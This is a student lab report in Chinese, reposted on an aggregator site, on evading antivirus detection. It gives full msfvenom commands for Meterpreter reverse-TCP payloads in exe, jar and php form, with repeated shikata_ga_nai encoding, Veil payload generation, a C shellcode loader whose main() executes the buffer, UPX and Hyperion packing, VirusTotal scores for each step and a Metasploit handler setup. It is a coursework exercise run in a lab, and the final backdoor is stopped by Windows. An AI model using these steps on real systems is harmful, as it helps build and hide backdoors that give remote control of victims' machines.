20232328 2025-2026-1《网络与系统攻防技术》实验三实验报告

news/2025/10/26 19:40:24/文章来源:https://www.cnblogs.com/mzy-seven/p/19167039

免杀原理与实践
1. 实验内容

1.1实验内容概括

  • 用msf编码器,生成exe、jar、php文件及它们的编码版本。
  • 下载veil工具,使用它来生成后门文件,对后门文件进行编程
  • 对生成好的后门文件进行upx压缩壳和hyperion加密壳
  • 对后门文件进行组合技术使其免杀

1. 2实验问题回答
(1)杀软是如何检测出恶意代码的?
杀毒软件主要通过特征码检测、行为分析、启发式扫描三大核心技术识别恶意代码,同时结合云安全等辅助手段提升检测效率。

  • 特征码检测:类似于比对指纹。将文件与病毒库中的代码段进行比较
  • 行为分析:类似于监控可疑的动作来识别病毒。该技术不依赖病毒库,而是通过监控程序运行后的行为来判断是否恶意
  • 启发式扫描:类似于举一反三。模拟人工分析,主动判断文件是否存在恶意倾向
    (2)免杀是做什么
    杀毒软件通过特征码、行为分析、启发式扫描等技术识别恶意代码,而免杀技术就是针对性地破坏或绕过这些检测逻辑
    (3)免杀的基本方法有哪些?
  • 静态免杀:比如本次实验中对恶意代码进行混淆与变形,进行加壳
  • 动态免杀:针对杀毒软件对程序运行时行为的监控,通过隐藏或伪装恶意行为,避免触发检测规则

2.实验过程

  • 免杀评价的平台 virustotal > https://www.virustotal.com/gui/home/upload
    (VirusTotal 是一个全球知名的免费在线安全检测平台,核心定位是通过多引擎协作与综合分析,帮助用户识别文件、URL、IP 地址及域名中的恶意软件、钓鱼威胁等安全风险,适用于个人用户、安全研究人员及企业安全团队)
    2.1用msf编码器,生成exe、jar、php文件及它们的编码版本
    使用msf编码器生成单次编码的exe文件,指令如下:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.131 PORT=3581 -f exe > met20232328.exe
    其中
    -p :指定使用的 payload 类型
    windows:目标系统为 Windows
    meterpreter:交互式后门
    reverse_tcp:反向 TCP 连接模式

屏幕截图 2025-10-20 155610
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 155804

屏幕截图 2025-10-20 155848

  • virustotal平台找到50个危险项

使用msf编码器生成多次编码的exe文件,指令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f exe >met-encoded20232328.exe
其中:
-e 指定编码器,用于对 payload 进行混淆编码,降低被杀毒软件检测的概率
x86/shikata_ga_nai 是 Metasploit 中常用的编码器,基于 XOR 加密和多态技术,能生成不同形式的编码结果
-b '\x00'避免出现ASCII 中的空字符

屏幕截图 2025-10-20 160146
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 160221

屏幕截图 2025-10-20 160441

  • virustotal平台找到38个危险项,结果说明编码对exe文件具有一定的免杀效果

再用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f exe > met-10encoded20232328.exe进行10次编码。
其中:
-i 10表示编码10次。

屏幕截图 2025-10-20 160918
将它放到 virustotal平台上进行检测,结果如下:

屏幕截图 2025-10-20 161116

屏幕截图 2025-10-20 161237

  • 结果说明这种文件生成和编码的模板的特征码已经基本都在库中了

利用msf编码器生成Jar文件,代码如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 x>metjar20232328.jar

jar单次
将它放到 virustotal平台上进行检测,结果如下:
jar单次 (2)
jar

  • 最终virustotal平台找到34个危险项

利用msf编码器生成多次编码的Jar文件,代码如下:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.211.131 LPORT=3581 x>met-encoded-jar20232328.jar

屏幕截图 2025-10-20 161927
将它放到 virustotal平台上进行检测,结果如下:

jar10

jar10次结果

  • 最终virustotal平台找到34个危险项,与单次编码的jar文件风险相同,这说明多次编码对jar文件的免杀效果一般

利用msf编码器生成php文件,代码如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.211.131  LPORT=3581 x> metphp_20232328.php

屏幕截图 2025-10-20 162206

屏幕截图 2025-10-20 162257
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 162409

  • 最终virustotal评价平台找到25个危险项

利用msf编码器生成10次编码的php文件,代码如下:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.211.131 LPORT=3581 x> met_encoded10_php_20232328.php
屏幕截图 2025-10-20 162455
将它放到 virustotal平台上进行检测,结果如下:

屏幕截图 2025-10-20 162637

  • virustotal平台找到9个危险项,与单次编码比较,多级编码被发现的危险项大幅度减少,这说明多级编码对php文件的免杀效果较好

2.2使用veil生成后门文件
先使用指令sudo apt -y install veil,用apt下载veil

屏幕截图 2025-10-20 162836

再使用指令/usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境

屏幕截图 2025-10-20 165357

屏幕截图 2025-10-20 170141
输入use 1进入Evasion模块
屏幕截图 2025-10-20 170340
输入list查看所有可用的载荷种类
屏幕截图 2025-10-20 170416
输入use 7启动c/meterpreter/rev_tcp.py,然后输入以下代码:

  • set LHOST 192.168.211.131反弹链接虚拟机的ip
  • set LPORT 3581设置端口
  • generate开始生成
    根据提示生成的具体内容找到生成后文件所在的位置,如下:

屏幕截图 2025-10-20 170911
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 171002
屏幕截图 2025-10-20 171136

  • 最终virustotal平台找到38个危险项,说明效果一般

2.3通过C+shellcode实现后门文件免杀
使用代码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 -f c生成一个C语言的源代码格式的有效载荷
屏幕截图 2025-10-20 171227
然后通过vim创建一个c文件,将上述的有效载荷复制,并编写一个主函数

屏幕截图 2025-10-20 171704
然后利用指令i686-w64-mingw32-g++ 20232328mzy.c -o shellcode_c_20232328.exe进行编译,得到exe文件
屏幕截图 2025-10-20 172253
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 172328
屏幕截图 2025-10-20 172609

  • 最终virustotal平台找到33个危险项,说明效果也一般

2.4对后门文件进行加壳操作
2.4.1使用压缩壳UPX
使用指令upx shellcode_c_20232328.exe -o shellcode_c_upx_20232328.exe给2.3生成的文件添加一层压缩壳

屏幕截图 2025-10-20 172649
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 172829

  • 最终virustotal平台找到38个危险项,结果与原先相比上升,说明这个壳被广泛运用
    2.4.2使用加密壳Hyperion
    使用命令cp shellcode_c_20232328.exe /usr/share/windows-resources/hyperion/将已经被upx压缩的恶意文件复制到Hyperion工具所在的工作目录中
    使用cd /usr/share/windows-resources/hyperion进入工作目录
    使用wine hyperion.exe -v shellcode_c_20232328.exe shellcode_c_hyp_20232328.ex加密文件

屏幕截图 2025-10-20 173134
使用ls查看加密文件已经生成
屏幕截图 2025-10-20 173151

屏幕截图 2025-10-20 173256
将它放到 virustotal平台上进行检测,结果如下:
屏幕截图 2025-10-20 173406

  • 结果virustotal平台找到52个危险项,说明说明这个壳的特征值已经被广泛的记录

2.5通过组合应用各种技术实现免杀
首先使用msfvenom工具来生成一个攻击载荷,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f c > 20232328_shellcode.c该攻击载荷被x86/shikata_ga_nai编码了10次
屏幕截图 2025-10-23 154037
然后使用vim,在在生成的文件中加入main函数如下:
int main(){ int (*func)() = (int(*)())buf; func(); }
屏幕截图 2025-10-23 154359
使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20232328_shellcode.c -o 20232328_shellcode.exe
使用upx加一层压缩壳
upx 20232328_shellcode.exe -o 20232328_shellcode_upx.exe
屏幕截图 2025-10-23 154457

使用hyperion加一层加密壳
wine hyperion.exe -v 20232328_shellcode_upx.exe 20232328_shellcode_upx_hyp.exe

屏幕截图 2025-10-23 155027

在虚拟机中找到对应文件夹内的文件
屏幕截图 2025-10-23 155027

屏幕截图 2025-10-23 155155

将最终生成的可执行文件放入主机,用联想电脑管家进行扫描,
屏幕截图 2025-10-23 155642
结果显示并未发现风险
屏幕截图 2025-10-23 155655

2.6使用被免杀的后门程序连接到windows
在kali虚拟机中输入msfconsole打开msf的控制台,输入下面的代码:

  • use exploit/multi/handler启动handler监听处理器
  • set payload windows/meterpreter/reverse_tcp设置路径
  • set LHOST 192.168.211.131设置虚拟机ip
  • set LPORT 3581设置端口

然后会出现连接不上的情况
屏幕截图 2025-10-23 160912
打开电脑自带的系统与安全,发现系统自己监测到了后门程序,使其无法运行
屏幕截图 2025-10-23 161131

3.问题及解决方案
问题一:kaili内存不够,需要进行内存的扩展
屏幕截图 2025-10-20 163543
问题一解决办法:参考下面这一篇知乎kali内存扩展
进行如下的操作:
屏幕截图 2025-10-20 163711
进行容量扩充
屏幕截图 2025-10-20 163823
打开图形化工具Gparted
屏幕截图 2025-10-20 164012
分配空间
屏幕截图 2025-10-20 164028

4.学习感悟
通过这次的实验,我学会了怎么使用msf编码器,生成exe、jar、php文件及它们的编码版本,能够使用veil工具生成后门文件,也接触到了一个免杀评价的平台 virustotal,学会了怎么使用 virustotal进行病毒的检测。

还有就是旧时代的后门文件已经落伍了,现在的电脑免杀非常的先进,简单的后门文件是根本不可能在电脑上正常运行,就算你关闭了所有的防火墙,系统还是会提醒你这个文件是有风险的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/946984.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

英语_阅读_Meeting

Hello, children and parents. Thank you all for coming to this meeting. 大家好,孩子们和家长们。感谢大家来参加这次会议。 Id like to start by confirming that we will receive some money from the governmen…

《程序员修炼之道:从小工到专家》阅读笔记3

注重实效的程序员的特征:是他们处理问题、寻求解决方案时的态度、风格、哲学。设法把问题放在更大的语境中,设法注意更大的图景对所做的每件事情负责,接受变化,拥抱变化,理解工作的语境。广泛的知识和经验基础交流…

我的一个oier朋友

我的一个oier朋友致初中三年,最为意外也最为纯粹的友谊。 暖阳,巧克力蛋糕,代码,书和甜汽水。淡淡的模糊,是最美丽的距离。人们数不清她的屋顶上有多少轮皎洁的明月, 也数不清她的墙壁之后那一千个灿烂的太阳。 …

K8s注解的指令功能:从元数据到控制逻辑

K8s注解的指令功能:从元数据到控制逻辑作为Kubernetes运维人员,我们常常使用注解(Annotations)来添加元数据,但你可能没有充分意识到,这些注解实际上可以被集群中的各种控制器解读为"指令",从而直接影…

磁盘格式化和LVM挂载

我发现生产项目上LVM的使用也是较为频繁的,本期出一个关于LVM使用的教程,方便大家参考1、磁盘格式化 (其实可以不分区直接格式化,为了系统操作安全使用先分区再格式化,直接格式化磁盘就固定只能使用一个文件系统,…

研零学习笔记

研零读的论文和要学的重要知识一、关键概念 1. IoU(Intersection over Union) 交并比,它衡量两个边框(或区域)重叠得有多好——也就是预测框与真实框的重合程度,是许多目标检测模型的核心指标之一。 IoU = 交集面…

2025.10.26——1绿

普及+/提高 P1119 灾后重建 floyd动态图,刚开始以为动态加边误以为不可做,后来才发现是动态加点,可以做的。没看清q的数据范围调了一会。

2025.10.24——1黄

普及/提高- P14308 【MX-S8-T1】斐波那契螺旋 赛时T1,打完就退了

[1136] Convert a TIFF to a coordinate-aware (georeferenced) PNG in ArcGIS Pro

[1136] Convert a TIFF to a coordinate-aware (georeferenced) PNG in ArcGIS ProHere’s how to convert a TIFF to a coordinate-aware (georeferenced) PNG in ArcGIS Pro, while still making sure it can be vie…

20251026 之所思 - 人生如梦

20251026 之所思今天在医院办完事,带小孩去吃饭,都到了饭店孩子说不去那家店铺,当时很生气,把孩子批评了一顿,告诉他现在停车很难,我们开车这么久过来路上花了很多时间,如果不想来要提前说出来,不要等到人都到…

关于耐心,专注力及主动性

原文:Scalers:大学生上课为什么一定要认真听讲?https://www.scalerstalk.com/816-attention 原文:「做中学(Learning By Doing)」之乒乓球刻意训练一年总结 https://www.cnblogs.com/rocedu/p/5826362.html 原文…

一期0. AI认知课/pytorch框架

1.1 人工智能发展史 人工智能发展史 学习目标了解人工智能发展历史 了解目前AI的主流技术方向与就业方向人工智能 (Artificial Intelligence, 简称AI) 这个概念是在1956年提出的. 这一年, 约翰麦卡锡 (John McCarthy) …

漏洞生命周期管理:从发现到防护的全流程方案 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

day02 pytorch介绍与安装

1 框架介绍与安装本章节主要带领大家学习使用深度学习框架 PyTorch:PyTorch 介绍在2017年1月, Facebook的人工智能研究院 (FAIR) 向世界推出了PyTorch. 这个基于Torch的框架, 以其Python语言作为前端, 同时为深度学习研…

Xshell7免费版下载及安装(详细教程)

Xshell7免费版下载及安装(详细教程)Xshell7免费版下载及安装(详细教程) https://www.xshell.com/zh/free-for-home-school/ xhsell免费版本下载地址

APT36组织利用Linux BOSS恶意软件通过.desktop文件攻击印度政府

网络安全研究人员发现APT36组织使用伪造成PDF文件的恶意Linux桌面文件,针对印度政府系统进行网络间谍活动。该攻击通过钓鱼邮件传播,利用BOSS Linux系统的漏洞窃取数据并维持持久访问权限。APT36组织利用Linux BOSS恶…

Sqlite EF CodeFirst For WPF

Sqlite EF在WPF 开发中使用Sqlite 数据库的EF框架 1.安装必要的插件install-package System.Data.Sqliteinstall-package System.Data.Sqlite.EF6install-package Sqlite.CodeFirst2.建立数据模型 using System; using…